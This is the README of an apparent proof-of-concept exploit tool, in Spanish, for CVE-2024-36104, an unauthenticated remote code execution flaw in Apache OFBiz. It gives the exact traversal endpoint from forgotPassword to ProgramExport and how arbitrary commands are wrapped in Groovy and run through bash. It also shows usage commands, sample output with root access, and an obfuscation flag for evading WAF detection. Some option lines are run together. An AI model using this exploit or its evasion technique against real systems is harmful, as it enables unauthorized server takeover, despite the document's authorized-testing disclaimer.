
PoC para CVE-2024-36104 — RCE de Groovy sin autenticación en Apache OFBiz (<18.12.14) mediante path traversal de vista /%2e/%2e/ hacia ProgramExport
Prueba de concepto para CVE-2024-36104, una vulnerabilidad de ejecución remota de código no autenticada en Apache OFBiz anterior a 18.12.14.
El ControlServlet de OFBiz resuelve una vista no autenticada (forgotPassword) antes de canonicalizar la ruta de la solicitud. Agregar /%2e/%2e/ colapsa de vuelta sobre /webtools/control/, por lo que la solicitud llega a la vista ProgramExport sin pasar nunca por la comprobación de seguridad/permisos vinculada a la vista original. ProgramExport ejecuta entonces código Groovy arbitrario, lo que permite ejecución remota de comandos no autenticada.
El script envuelve el comando en un fragmento Groovy que lo ejecuta a través de /usr/bin/bash -lc, lo envía al endpoint vulnerable y extrae la salida de la java.lang.Exception que OFBiz devuelve en la respuesta HTML.
/%2e/%2e/ desde forgotPassword hasta ProgramExport.groovyProgram al endpoint vulnerable.Python 3.8+
pip install -r requirements.txt
Paquetes de Python necesarios:
requests
urllib3
Los valores encerrados entre corchetes angulares son marcadores de posición. Reemplázalos con tus propios valores y no incluyas los caracteres < ni >.
python3 cve_2024_36104.py \
--target <TARGET_URL> \
--command <COMMAND>
<TARGET_URL> # Target base URL. Example: https://10.129.231.23
<COMMAND> # Command that Bash will interpret. Example: id
python3 cve_2024_36104.py \
--target https://10.129.231.23 \
--command "id"
Salida de ejemplo:
[2026-05-17T18:20:10Z] [*] Target: https://10.129.231.23/webtools/control/forgotPassword/%2e/%2e/ProgramExport
[2026-05-17T18:20:10Z] [*] Host header sent: localhost
[2026-05-17T18:20:10Z] [*] Command: id
[2026-05-17T18:20:11Z] [*] HTTP status: 200
[2026-05-17T18:20:11Z] [*] Response size: 4213 bytes
[+] Output of: id
uid=0(root) gid=0(root) groups=0(root)
-H, --host-header <HOST>
Value of the Host header. Default: localhost
--prefix-view <VIEW>
Unauthenticated view used before the /%2e/%2e/ traversal. Default: forgotPassword
--target-view <VIEW>
View reached after the traversal. Default: ProgramExport
--endpoint <PATH>
Full custom endpoint path, overrides --prefix-view/--target-view.
--timeout <SECONDS>
Maximum HTTP request time. Default: 15
--obfuscate
Send groovyProgram as \uXXXX escapes instead of plaintext, matching the
encoding used in public write-ups to dodge naive WAF signatures.
--show-payload
Print the generated Groovy code before sending it.
--show-response
Print the full HTML response.
--only-final
Hide progress logs and print only the command output.
--no-color
Disable ANSI colors.
--debug
Enable extra diagnostic logging.
502, probablemente el backend no terminó antes del timeout del proxy; el comando puede completarse igualmente en el servidor.--show-response para inspeccionar el HTML sin procesar cuando falla la extracción automática.Este PoC está destinado a pruebas de seguridad autorizadas, entornos de laboratorio y verificación de vulnerabilidades. No lo utilices contra sistemas sin permiso explícito.